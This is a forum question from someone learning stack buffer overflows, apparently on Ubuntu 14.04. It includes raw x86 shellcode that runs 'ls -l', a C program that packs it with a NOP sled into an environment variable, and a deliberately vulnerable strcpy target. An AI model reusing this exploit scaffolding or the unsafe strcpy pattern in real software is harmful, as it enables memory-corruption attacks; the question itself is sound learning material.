Why argv[1] in Linux c program doesn't get correct values from environment variable? -

i'm trying learn basics of buffer overflow attacks. wrote simple shellcode execute ls -l , wrote program put shellcode among address changing (for bbaa address test this) environment variable. code:

#include <stdio.h> #include <stdlib.h> #include <string.h>  char execvelsshell[] =  "\xeb\x3d\x5e\x31\xc0\xb0\x7d\x89\xf3\xb9\xff\xff\xff\xff\xc1\xe1\x0c"                         "\x21\xcb\x31\xc9\xb1\x20\x31\xd2\xb2\x07\xcd\x80\x31\xc0\x88\x46\x07"                         "\x88\x46\x0a\x89\x76\x0b\x89\xf3\x83\xc3\x08\x89\x5e\x0f\x89\x46\x13"                         "\x89\xf3\x8d\x4e\x0b\x8d\x56\x13\xb0\x0b\xcd\x80\xe8\xbe\xff\xff\xff"                         "\x2f\x62\x69\x6e\x2f\x6c\x73\x30\x2d\x6c\x30\x31\x31\x31\x31\x32\x32"                         "\x32\x32\x33\x33\x33\x33\x33"; const int buffsize = 4+100+4+4+4+4;//var_name + buffer + int + ebp + ret_address + null  #define nop 0x90 char addr[] = "\x61\x61\x62\x62"; //bbaa test  int main(){     char buffer[buffsize];     int shellsize = strlen(execvelsshell);     printf("shelllen: %d\n", shellsize);      memset(buffer, nop, buffsize);     memcpy(buffer, "akj=", 4);     memcpy(buffer+4, execvelsshell, shellsize);     memcpy(buffer+buffsize-8, addr, 4);     memcpy(buffer+buffsize-4, "\x00\x00\x00\x00", 4);      printf("address: %s\n", buffer+buffsize-8);     printf("env len: %d\n", strlen(buffer));      putenv(buffer);     system("/bin/bash");     return 0; } 

when print variable , test it's size both in code , in bash using echo -n $akj | wc correct size when send variable input exploit test subject prints size of argv[1] 22. test program:

#include <stdio.h> #include <string.h>  int main(int argc, char *argv[]){     char buffer[100];     int i=0xcceeaabb;     printf("len: %d\n", strlen(argv[1]));     strcpy(buffer, argv[1]);     return 0; } 

the intresting part if send other variables such $path or random string argv[1] has correct value , size. when used gdb see argv[1] has want have in c code it's size not correct, ergo, doesn't work.

i've worked several hours on simple program , used think of giving different values , variables debugging code using gdb , tracing happens on stack , registers couldn't work. i'd appreciate if shed light on problem. i'm pretty sure i'm missing simple!!!

btw i'm working on ubuntu 14.4 gcc 4.8.2 , code wrote shellcode can found here.